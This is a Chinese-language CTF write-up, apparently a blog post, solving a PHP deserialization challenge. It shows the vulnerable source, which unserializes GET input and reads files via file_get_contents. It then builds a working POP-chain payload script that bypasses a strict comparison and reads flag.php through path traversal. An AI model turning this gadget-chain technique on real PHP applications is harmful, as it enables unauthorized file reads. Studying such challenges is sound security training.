目录
前言
正文
思路
尝试
结尾
前言
许久未见,甚是想念.
今天来解一道有意思的序列化题
正文
思路
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
序列化,首要的肯定是找哪里可以执行指令或者查看flag
首先我们一开始就看见了这个
include 'flag.php';
当然光看这个没有什么意义
除此之外
function echo_name()
{
$this->openstack = unserialize($this->docker);//这里做了一次反序列化
$this->openstack->neutron = $heat;//$heat应该是flag.php的东西
if($this->openstack->neutron === $this->openstack->nova)
//===,数组绕过?
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
这样,我们就明白了,所以$filename=flag.php;
想要执行echo_name,需要看看哪里可以调用
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();//就是这里了
}
}
但是,echo_name不止一处
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
我们需要调用__toString魔术方法
__toString()会在类被当作字符串调用的时候自动触发,比如说echo一个类
所以我们还需要查看哪里可以调用__toString
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
我们可以先生成一个序列化,从而成功执行并调用toString()
这个时候,我们可以初步构造一个,然后慢慢修改,因为当题量大的时候,我们很难一次性就理清所有思路然后成功拿到flag
那就先随便写一个
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp{
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder=new pkshow;
}
}
class ace//这里原封不动抄下来,因为如果成功调用ace,也会因为ace的过滤回显keystone lost~
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$a=new acp();
echo urlencode(serialize($a));
原因是因为__construct事先定义了new pkshow,所以接下来我们需要进行修改
function __construct()
{
$this->cinder = new ace;
}
这个应该不难理解,当cinder修改为new ace,下面的toString就将ace实例化为字符串进行调用,又由于ace内部的过滤,所以成功输出了keystone lost~
好的,这是第一步,我们成功使toString执行ace的echo_name,接下来就需要修改ace内部函数获取flag
首先,从开头我们就知道,$filename=flag.php;然后我们来看看ehco_name写了什么
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
关键还是这里的强比较,由此联想数组绕过
关于数组绕过,可以详细看这位师傅的文章
浅谈CTF中各种花式绕过的小trick_ctf 字符串绕过-CSDN博客
对于这种没有丝毫过滤,且具有一点条件的玩法(docker被反序列化),直接定义一个null即可实现相等
一般来说,我们使用a[]=1&b[]=2来绕过,这样实际上a=null,b=null.因为a[]b[]实际是一个空数组
这里的话,我们直接让docker=null即可,这样因为 $this->openstack->neutron就会让neutron=null
那么,接下来
尝试
EXP:
<?php
class acp{
protected $cinder;
public $neutron;
public $nova;
function __construct(){
$this->cinder=new ace;
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker=null;
}
$a=new acp();
echo urlencode(serialize($a));
由于本人比较喜欢极简,所以删除了不必要的代码
好的,我们继续
不在当前目录下
../以后成功拿到flag
成功
结尾
我也没想到在七月开头的第二天,就已经实现了1w访问量的成就
这对于一位小白代学生来说,是一件值得自豪的事情
也希望未来能够带来更高质量的文章
最后,求赞求关注
感谢!!!!!!!!!!!!!!!!!!!!
作者的其他文章
BugKu-WEB-sodirty_bugku sodirty-CSDN博客
攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客
攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客
BugKu-WEB-unserialize-Noteasy_bugku unserialize-noteasy-CSDN博客